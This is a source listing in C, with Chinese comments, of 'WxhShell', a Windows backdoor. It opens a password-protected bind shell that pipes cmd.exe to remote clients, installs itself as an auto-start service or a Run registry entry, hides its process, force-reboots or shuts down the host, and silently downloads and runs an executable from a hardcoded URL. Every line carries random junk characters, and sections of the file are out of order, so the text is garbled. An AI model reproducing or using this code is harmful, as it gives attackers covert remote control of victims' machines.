    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %:n1S]Vr  
    if(Boot(SHUTDOWN)) 6rEt!v #K[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Rv eR?kO  
    else { n<p`OKIV3  
    closesocket(wsh); hv'~S  
    ExitThread(0); .#uRJo%8  
    } 3,bA&c3  
    break; oAX-Sg-/$  
    } ';x .ry  
  // 获取shell 9x,Aqr$t  
  case 's': { fv !l{  
    CmdShell(wsh); SzR0Mu3uK  
    closesocket(wsh); {}?s0U$5  
    ExitThread(0); N 5rY*S  
    break; cWl)ZE<hM  
  } %Yg;s'F>#q  
  // 退出 j=)Cyg3_%  
  case 'x': { z0Vd(QL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,9q=2V[GP  
    CloseIt(wsh); sB_o HUMH6  
    break; !ZbNW4rIP  
    } U`JzE"ps]  
  // 离开 +(5H$O{h  
  case 'q': { owTW_V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?#xNz=V  
    closesocket(wsh); cI4%z eR  
    WSACleanup(); 13.v5v,l  
    exit(1); WIXzxI<)  
    break; y6'Fi(2yw  
        } H*3f8A&@s  
  } ,~FyC_%*  
  } 5+GW% U/  
h)q:nlKUW  
  // 提示信息 PG9won5_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bCk_ZA  
} tnbaU%;|J  
  } L1`^~m|  
0/<}.Z]  
  return; FpE83}@".w  
} 1 ,oC:N  
a J[VX)"J  
// shell模块句柄 n<Z;Xh~F  
int CmdShell(SOCKET sock) :Tw3Oo_~S  
{ gh}FZs5 P  
STARTUPINFO si; N{`-&8q;K  
ZeroMemory(&si,sizeof(si)); ?rWqFM:hb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !h7`W*::  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \~Zj](#  
PROCESS_INFORMATION ProcessInfo; ;C-5R U V  
char cmdline[]="cmd"; bslv_OxJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jHBn^Nly  
  return 0; mwCNfwb:  
} C^Tc9  
\SnW(,`oX  
// 自身启动模式 3mZX@h@  
int StartFromService(void) O{&5/xBA  
{ %,MCnu&Z  
typedef struct 4pkc9\  
{ F&;g< SD  
  DWORD ExitStatus; dW<.  
  DWORD PebBaseAddress; Q<zL;AJ  
  DWORD AffinityMask; x2/|i? ZO  
  DWORD BasePriority; LLg ']9  
  ULONG UniqueProcessId; TclZdk]%T  
  ULONG InheritedFromUniqueProcessId; g8mVjM\B;  
}   PROCESS_BASIC_INFORMATION; [+gX6  
P$2J`b[H$  
PROCNTQSIP NtQueryInformationProcess; 2Y&z}4'j  
,]~iIoTi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6-gxba  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 79uL"N;  
hT^6Ifm  
  HANDLE             hProcess; n<\^&_a  
  PROCESS_BASIC_INFORMATION pbi; 'Y6{89y  
Kom$i<O?48  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TF|GGY i  
  if(NULL == hInst ) return 0; )rz4IfE  
{LJwW*?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1QE-[|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l},*^Sn<5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q <^'v>~n  
b.h~QyI/W  
  if (!NtQueryInformationProcess) return 0; uwQ{y>SG  
!li Q;R&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :^3MN  
  if(!hProcess) return 0; 5h+g^{BE  
M\,0<{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0 '~Jr\4  
6=90 wu3  
  CloseHandle(hProcess); ]ss0~2  
;:cU/{W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,\[&%ph  
if(hProcess==NULL) return 0; 4eYj.=I  
R8Lp8!F'  
HMODULE hMod; iYHD:cg)~  
char procName[255]; =bZ>>-<  
unsigned long cbNeeded; `f*?|)  
2y#4rl1Utx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C#p$YQf  
6"[`"~9'V  
  CloseHandle(hProcess); WUGPi'x  
0fXdE ;M3  
if(strstr(procName,"services")) return 1; // 以服务启动 kE,~NG9P  
qUx!-DMY  
  return 0; // 注册表启动 ep3_G\m  
} ~!,'z  
<'-}6f3  
// 主模块 G#)>D$Ck#  
int StartWxhshell(LPSTR lpCmdLine) 4Me*QYD  
{ % &4sHDP  
  SOCKET wsl; Q)C#)|S  
BOOL val=TRUE; ??aOr*%  
  int port=0; Yj/S(4(h?  
  struct sockaddr_in door; =! 9+f  
f 7y1V(t  
  if(wscfg.ws_autoins) Install(); ^;c!)0Q<Z  
%@G<B  
port=atoi(lpCmdLine); *@dRL3c^=  
~ra2Xyl  
if(port<=0) port=wscfg.ws_port; +~  :1H.  
b,~4O~z  
  WSADATA data; Y@TZReb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TPq5"mco  
b3H~a2"d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _|wgw^.LJ]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 37a"<  
  door.sin_family = AF_INET; I^[R]Js  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /o.wCy,J<  
  door.sin_port = htons(port); E[Tz%x=P  
HpSgGhL'J&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `{N0+n  
closesocket(wsl); ZJ 8~f  
return 1; W.-[ceM  
} X"y rA;,o  
,@khV  
  if(listen(wsl,2) == INVALID_SOCKET) { ]3NH[&+  
closesocket(wsl); "|]'\4UdzQ  
return 1; u#\=g:  
} VDx=Tsu-  
  Wxhshell(wsl); nDkyo>t .  
  WSACleanup(); %QVX1\>]  
-G(z!ed  
return 0; +su>0'a  
giyKEnP  
} ul?'kuYk  
8QE0J$d5  
// 以NT服务方式启动 sn+i[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H-nk\ K<|  
{ <)uUAh  
DWORD   status = 0; j7xoe9;TxI  
  DWORD   specificError = 0xfffffff; ch 4z{7   
{Lk~O)E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,6}HAC $  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >+7+ gSD#:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z(:0@5  
  serviceStatus.dwWin32ExitCode     = 0; FdKp@&O+1  
  serviceStatus.dwServiceSpecificExitCode = 0; @%O"P9;s  
  serviceStatus.dwCheckPoint       = 0; `]FA} wC  
  serviceStatus.dwWaitHint       = 0; f:B+R  
.*r ?zDV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7F>5<Gv:-  
  if (hServiceStatusHandle==0) return; }C}~)qaZv+  
,1Suq\ L  
status = GetLastError(); c;&m}ImLe.  
  if (status!=NO_ERROR) P cnr  
{ /wljb b/s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?>1AT ==wI  
    serviceStatus.dwCheckPoint       = 0; 7;5?2)+=6  
    serviceStatus.dwWaitHint       = 0; T6Z2 #  
    serviceStatus.dwWin32ExitCode     = status; a^~T-;_V  
    serviceStatus.dwServiceSpecificExitCode = specificError; UkG|5P`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bVQLj}%   
    return; Lf3Ri/@ p  
  } >O&(G0!N+}  
* Od_Cl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k*J}/HO  
  serviceStatus.dwCheckPoint       = 0; D}SRr,4v  
  serviceStatus.dwWaitHint       = 0; z~L4BY@z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M+gQN}BAr  
} ;'`T  
[`Ol&R4k  
// 处理NT服务事件,比如:启动、停止 d8C?m*3 J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zQ(li9  
{ AZ(["kh[  
switch(fdwControl) |<\o%89AM  
{ 7Z0 )k9*  
case SERVICE_CONTROL_STOP: ~Hd{+0  
  serviceStatus.dwWin32ExitCode = 0; k v,'9z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >5% o9$|z  
  serviceStatus.dwCheckPoint   = 0; H2BD5  
  serviceStatus.dwWaitHint     = 0; 9b``l-rO  
  { f+}? $'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6;dQ#wmg  
  } $LRvPan`  
  return; -w1U /o.  
case SERVICE_CONTROL_PAUSE: _UT>,c;h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Dq)V] Zx  
  break; uH^/\  
case SERVICE_CONTROL_CONTINUE: .</d$FM JE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c+f~>AaI  
  break; #|v\UJ:Pf/  
case SERVICE_CONTROL_INTERROGATE: L}h?nWm8  
  break; ~%qHJ4C  
}; _ "&b%!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R56:}<Y,  
} _k\*4K8L  
-7fsfcGM$  
// 标准应用程序主函数 /+1+6MqRn*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p(8H[L4Y  
{ &$lz@Z  
H1yl88K  
// 获取操作系统版本 Fx0E4\-  
OsIsNt=GetOsVer(); M n`gd#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &{!FE`ZC_  
Y/2@PzA|  
  // 从命令行安装 +XLy Pj  
  if(strpbrk(lpCmdLine,"iI")) Install(); [M65T@v  
^Y8?iC<+  
  // 下载执行文件 S;kI\;  
if(wscfg.ws_downexe) { n[|&nv6x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1#qyD3K  
  WinExec(wscfg.ws_filenam,SW_HIDE); D.kLx@Z  
} p[4KN(PyK  
\EuMzb"G9p  
if(!OsIsNt) { w= |).qQ]  
// 如果时win9x,隐藏进程并且设置为注册表启动 hD/bgquT  
HideProc(); Z*tB=  
StartWxhshell(lpCmdLine); 3Wa^:8N  
} oS 7q#`  
else 0j %s H  
  if(StartFromService()) -|\V'  
  // 以服务方式启动 ;+'x_'a  
  StartServiceCtrlDispatcher(DispatchTable); NTASrh  
else 5D8V)i  
  // 普通方式启动 @Hw#O33/'  
  StartWxhshell(lpCmdLine); =Bcwd7+  
kO{A]LnAH  
return 0; X=USQj\A  
} \HF|&@}hU  
w!,~#hbt6  
}b)7gd=  
&m&Z^CA  
=========================================== 0-M.>fwZ=  
nsIx5UA_n  
g VX  
J.W0F #?  
X,y0 J  
qF C0$:z&  
" x ok8  
as=Z_a:0N  
#include <stdio.h> ghq[oK  
#include <string.h> N_(qMW  
#include <windows.h> k%YvJXL  
#include <winsock2.h> /Fy2ZYs,`8  
#include <winsvc.h> ^&F8NEb=2>  
#include <urlmon.h> VRQ'sn@  
h}r.(MVt  
#pragma comment (lib, "Ws2_32.lib") z2*>5 c%  
#pragma comment (lib, "urlmon.lib") '=C)Hj[D  
OPOL-2<wiy  
#define MAX_USER   100 // 最大客户端连接数 j;6kN-jx  
#define BUF_SOCK   200 // sock buffer _Cn[|E  
#define KEY_BUFF   255 // 输入 buffer D@A@5pvS  
6yH(u}!.  
#define REBOOT     0   // 重启 K,(37Id'  
#define SHUTDOWN   1   // 关机 OZ##x  
vncLB&@7  
#define DEF_PORT   5000 // 监听端口 3}*)EC  
O(q1R#n-}+  
#define REG_LEN     16   // 注册表键长度 Xy/lsaVskX  
#define SVC_LEN     80   // NT服务名长度 <*k]Aa3y  
Mtxn@m{i;"  
// 从dll定义API 3H"bivK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6?\X)qBI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jyB^a;-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 21ng94mC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #fdQ\)#q>  
PCKgdh},  
// wxhshell配置信息 |hGi8  
struct WSCFG { K6 D3  
  int ws_port;         // 监听端口 L WwWxerZ  
  char ws_passstr[REG_LEN]; // 口令 {Aq2}sRl{  
  int ws_autoins;       // 安装标记, 1=yes 0=no e+416 ~X v  
  char ws_regname[REG_LEN]; // 注册表键名 <;)qyP  
  char ws_svcname[REG_LEN]; // 服务名 cvSr><(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w K)/m`{g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &\Kp_AR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SA3!a.*c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L{)*evBL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P:Nj;Cxh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;F3#AO4(  
2g'o5B\ *  
}; Iq/V[v  
F,F1Axf  
// default Wxhshell configuration c ow]qe6K  
struct WSCFG wscfg={DEF_PORT, FH Hi/yh  
    "xuhuanlingzhe", )o51QgPy  
    1, +,wCV2>\3  
    "Wxhshell", Dq$co1eT  
    "Wxhshell", g+ZQ6Hz  
            "WxhShell Service", <Wz+f+HC  
    "Wrsky Windows CmdShell Service", 0J \hku\  
    "Please Input Your Password: ", &n 1 \^:  
  1, Ic!8$NhRS  
  "http://www.wrsky.com/wxhshell.exe", A08b=S  
  "Wxhshell.exe" iRwlK5(&  
    }; vBRW5@  
!/]vt?v#^  
// 消息定义模块 &i/QFO7y}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k2 axGq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *d%U]Hby,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IJnh@?BC  
char *msg_ws_ext="\n\rExit."; zG%ZDH^82_  
char *msg_ws_end="\n\rQuit."; heF<UMI  
char *msg_ws_boot="\n\rReboot..."; (K"8kQLY  
char *msg_ws_poff="\n\rShutdown..."; /d/Quro  
char *msg_ws_down="\n\rSave to "; moe5H  
OvFWX%uY  
char *msg_ws_err="\n\rErr!"; ? FlV<nE"J  
char *msg_ws_ok="\n\rOK!"; `%a+LU2  
 ~wX4j  
char ExeFile[MAX_PATH]; _mi(:s(  
int nUser = 0; kJy bA  
HANDLE handles[MAX_USER]; !uno!wUIYd  
int OsIsNt; ku`bwS  
[+j39d.Q  
SERVICE_STATUS       serviceStatus; "-tTN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C/sDyv$  
Dq~PxcnI  
// 函数声明 1!;}#m7v  
int Install(void); RR 8Z 9D;  
int Uninstall(void); jNO8n)a&p  
int DownloadFile(char *sURL, SOCKET wsh); wd=xs7Dz<p  
int Boot(int flag); TLkJZ4}?Q  
void HideProc(void); JN{xh0*  
int GetOsVer(void); (ex^=fv  
int Wxhshell(SOCKET wsl); E\%'/3o  
void TalkWithClient(void *cs); _:tclBc8R  
int CmdShell(SOCKET sock); s\-^vj3  
int StartFromService(void); /_,} o7@t~  
int StartWxhshell(LPSTR lpCmdLine); o4Bl!7U  
iN}BMd.U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {]a 6o[}u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i"rrM1/r  
0M?nXHA[  
// 数据结构和表定义 fGv`.T_d  
SERVICE_TABLE_ENTRY DispatchTable[] = ;[_w&"[6a  
{ 9t$%Tc#Z  
{wscfg.ws_svcname, NTServiceMain}, M?UlC   
{NULL, NULL} ,u,]ab  
}; ~'4:{xH  
JMMsOA_]  
// 自我安装 kt";Jx  
int Install(void) C+WHg-l  
{ !6wbg  
  char svExeFile[MAX_PATH]; 3,K*r"=  
  HKEY key; + njE  
  strcpy(svExeFile,ExeFile); J-W, ^%  
TwZvz[u  
// 如果是win9x系统,修改注册表设为自启动 `;^%t  
if(!OsIsNt) { $Xlyc.8YId  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c-INVA)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zN\~v  
  RegCloseKey(key); o E&Zf/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lA4Bq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `9Qr kkG+  
  RegCloseKey(key); lPS A  
  return 0; @"}dbW<DV  
    } `p&ko$i2  
  } {-rK:*yP'u  
} 's{-1aW  
else { 6(4o}Sv  
@=c{GAj  
// 如果是NT以上系统,安装为系统服务 /$hfd?L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z`xz|:D+  
if (schSCManager!=0) IbpE@C  
{ XM/P2=;  
  SC_HANDLE schService = CreateService 7"f$;CN?~  
  ( B{ NKDkDH  
  schSCManager, 2#'[\*2|N  
  wscfg.ws_svcname, 9p!V?cH#8  
  wscfg.ws_svcdisp, XN"V{;OP1  
  SERVICE_ALL_ACCESS, do{#y*B/g!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yI9l*'  
  SERVICE_AUTO_START, Z*kGWL  
  SERVICE_ERROR_NORMAL, ,{c9Lv%@J  
  svExeFile, (Jf i 3 m  
  NULL, { e2 (  
  NULL, +a sJV1a  
  NULL, 9AJ!7J#v"  
  NULL, K0]'v>AWr  
  NULL )BTJs)E  
  ); lN+NhPF  
  if (schService!=0) uw+v]y  
  { tGzYO/Zp  
  CloseServiceHandle(schService); ,ewg3mYHC&  
  CloseServiceHandle(schSCManager); Ts;W,pgP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Fm-W@  
  strcat(svExeFile,wscfg.ws_svcname); UL[4sv6\9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q y y.3-(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,I=Cl mR  
  RegCloseKey(key); N{/q p  
  return 0; O6OP{sb  
    } ;sNyN#  
  } .,,?[TI  
  CloseServiceHandle(schSCManager); 5S$HDO&  
} ru(Xeojv#  
} `+B+RQl}[  
v !@/  
return 1; q) /;|h  
} ~<v.WP<:  
~A8lvuw3  
// 自我卸载 ;y6Jo  
int Uninstall(void) 35RH|ci&  
{ P xpz7He  
  HKEY key; Di*+Cz;gK  
An[*Jx  
if(!OsIsNt) { u{H,i(mx?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7L;yN..0  
  RegDeleteValue(key,wscfg.ws_regname); ~uC4>+dk  
  RegCloseKey(key); UXQ{J5Ox+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l,*Q?q  
  RegDeleteValue(key,wscfg.ws_regname); >Fx$Rty  
  RegCloseKey(key); < q; ]  
  return 0; ; tvB{s_  
  } OM!ES%c,  
}  Kz3u  
} &O0+\A9tP  
else { z8Dn<h  
!kASEjFz|f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZFW}Vnl  
if (schSCManager!=0) {K3\S 0L  
{ dN |w;|M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); //ZB B,[@  
  if (schService!=0) GeHDc[7  
  { >+vWtO 2  
  if(DeleteService(schService)!=0) { :1Fm~'  
  CloseServiceHandle(schService); B"KsYB79t  
  CloseServiceHandle(schSCManager); *$# r%  
  return 0; 9d[0i#`:q  
  } Bf'jXM{-  
  CloseServiceHandle(schService); lBG* P>;  
  } 82J0t}:U  
  CloseServiceHandle(schSCManager); '12|:t&7  
} & p_;&P_  
} i6`8yw  
 _&(ij(H  
return 1; JEHV \ =  
} z(\H.P#  
oSa FmP  
// 从指定url下载文件 34;c00  
int DownloadFile(char *sURL, SOCKET wsh) Ac7`nvI=  
{ "E''ZBLO~  
  HRESULT hr; V'K$:9^x[8  
char seps[]= "/"; P< WD_W  
char *token; mH{cGu?  
char *file; lf|^^2'*2<  
char myURL[MAX_PATH]; GV[%P  
char myFILE[MAX_PATH]; !%s7I ^f*  
"apv)xdW  
strcpy(myURL,sURL); KG3*~G  
  token=strtok(myURL,seps); =JVRm 2#*  
  while(token!=NULL) IB!Wrnj?  
  { 2WUBJ-qnuT  
    file=token; ^ _+ks/  
  token=strtok(NULL,seps); U1q$B32  
  } +:'Po.{"  
nr-mf]W&  
GetCurrentDirectory(MAX_PATH,myFILE); )<^ ~${$U  
strcat(myFILE, "\\"); ok6e=c '  
strcat(myFILE, file); :T{or-  
  send(wsh,myFILE,strlen(myFILE),0); 8dA/dMQ  
send(wsh,"...",3,0); $s]@%6 f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \pzvoj7{  
  if(hr==S_OK) vq5I 2  
return 0; <M&]*|q>g%  
else n/|/Womr  
return 1; epG;=\f}m`  
R3@iN &  
} = oh6;Ojt  
XdS<51 C  
// 系统电源模块 $1dI  
int Boot(int flag) |Q I3H]T7  
{  +;!w;t  
  HANDLE hToken; WX=+\`NyJ(  
  TOKEN_PRIVILEGES tkp; 4Dd9cG,lN  
 C|lMXp\*  
  if(OsIsNt) { ):|)/ZiC'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >u/yp[Ky  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nb|MHtPX  
    tkp.PrivilegeCount = 1; Wey\GQ`"8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |1<Z3\+_/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0[i]PgIH  
if(flag==REBOOT) { ]Aluk|"`U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n=>Gu9`  
  return 0; xeH# )QJt  
} l|fd,  
else { )Z_i[1V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uB^]5sqfk  
  return 0; nx +& {hn(  
} W1!eY,1}  
  } "Jwz.,Y\  
  else { 2kgm)-z  
if(flag==REBOOT) { 0jzA\$oD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]e3nnS1*.  
  return 0; w[+!c-A:H  
} b;O+QRa  
else { 8&;dR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .o8Gi*PEY  
  return 0; jCl[!L5/1  
} Lg nGqIlx  
} w:N2 xI  
37[C^R!1c  
return 1; Uy_= #&jg  
} 2~4C5@SxL  
P>kx{^  
// win9x进程隐藏模块 4HHf3j!5  
void HideProc(void) k^]~NP  
{ ;i:7E#@  
' #mC4\<W8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FV9RrI2  
  if ( hKernel != NULL ) BxqCV%9o  
  { xV6j6k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hf-S6PEsM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,]Ma ,2  
    FreeLibrary(hKernel); dkLR Q   
  } *,pqpD>  
h`Mf;'P  
return; p(8\w-6  
} :Rn9rdX  
xle29:?l  
// 获取操作系统版本 ] QEw\4M?=  
int GetOsVer(void) c9[5)  
{ 9x1Dyz 2?F  
  OSVERSIONINFO winfo; Z4!3I@yZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |eqDT,4  
  GetVersionEx(&winfo); r=`>'3 } x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8B+uNN~%]  
  return 1;  ?.s*)n  
  else nr^p H.  
  return 0; vKt_z@{{L  
} f,#xicSB*  
E$wB bm  
// 客户端句柄模块 gc=e)j@  
int Wxhshell(SOCKET wsl) 6xe |L  
{ ep!.kA=\  
  SOCKET wsh; (`p(c;"*C!  
  struct sockaddr_in client; /$=^0v +  
  DWORD myID; zyr6Tv61U  
ZZ(@:F  
  while(nUser<MAX_USER) 24Fxx9 g  
{ *8p</Q  
  int nSize=sizeof(client); Vh8uE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5-*]PAC  
  if(wsh==INVALID_SOCKET) return 1; Cw}\t!*!  
#o RUH8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Sf8d|R@O  
if(handles[nUser]==0) E(8g(?4  
  closesocket(wsh); vn<S"  
else {V8Pn2mlo  
  nUser++;  #L)rz u  
  } LcXMOT)s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'w2;oO  
&}cie"\L  
  return 0; DbN'b(+  
} Q  [{vU  
F*4+7$E0B  
// 关闭 socket E'G>'cW;x  
void CloseIt(SOCKET wsh) =-qsz^^a-  
{ v`&Z.9!Tz^  
closesocket(wsh); ob{pQx7  
nUser--; ~ #CCRUhM  
ExitThread(0); "x)DE,  
} ]YP?bP,:  
5o/rV.I  
// 客户端请求句柄 Jy_'(hG  
void TalkWithClient(void *cs) d eg>m?Y  
{ P]B#i1  
0pFHE>  
  SOCKET wsh=(SOCKET)cs; +mQSlEo  
  char pwd[SVC_LEN]; pQNFH)=nw  
  char cmd[KEY_BUFF]; o__q)"^~-  
char chr[1]; L ~w=O!  
int i,j; 6{'6_4;Fv(  
2XHk}M|  
  while (nUser < MAX_USER) { ja/[PHq"  
?=kswf  
if(wscfg.ws_passstr) { *-_Np u6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qx;A; n!lw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7o. 'F  
  //ZeroMemory(pwd,KEY_BUFF); 3U)8P6Fz  
      i=0; "tM/`:Qp  
  while(i<SVC_LEN) { Be+:-t)  
\0h/~3  
  // 设置超时 kP$g l|  
  fd_set FdRead; 37xxVbik  
  struct timeval TimeOut; kg@h R}  
  FD_ZERO(&FdRead); [Jo TWouNU  
  FD_SET(wsh,&FdRead); WFP\;(YV  
  TimeOut.tv_sec=8; i1\2lh$  
  TimeOut.tv_usec=0; aB^G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cqx1NWlY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +`8)U3u0  
"N]o5d   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wVDB?gy%#  
  pwd=chr[0]; - (1\ `g07  
  if(chr[0]==0xd || chr[0]==0xa) { .h,xBT`}Ji  
  pwd=0; KU,w9<~i(  
  break; rzDJH:W{2  
  } 4&e@>  
  i++; ?LI9F7n  
    } p8l#=]\ ;  
L?x?+HPY.  
  // 如果是非法用户,关闭 socket Z@!W? Ed  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I&8m5F?$`  
} I})t  
#~;8#!X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *GP_ut%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GDp p`'\  
!T#y r)  
while(1) { p^P y,  
OPW"AB J  
  ZeroMemory(cmd,KEY_BUFF); ,<b|@1\k  
_~Vz+nT  
      // 自动支持客户端 telnet标准   ~uadivli  
  j=0; '*u;:[73  
  while(j<KEY_BUFF) { nM-SDVFM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CqK#O'\  
  cmd[j]=chr[0]; e oSM@Isu  
  if(chr[0]==0xa || chr[0]==0xd) { :)95 b fa.  
  cmd[j]=0; mwH!:f  
  break; x9l0UD*+g  
  } mo[<4U ks  
  j++; 2F @)nh  
    } xc.D!Iav  
9ox|.68q  
  // 下载文件 '%C.([  
  if(strstr(cmd,"http://")) { 4UjE*Aq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g)qnjeSs]  
  if(DownloadFile(cmd,wsh)) ^85n9a?8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8zDH<Gb  
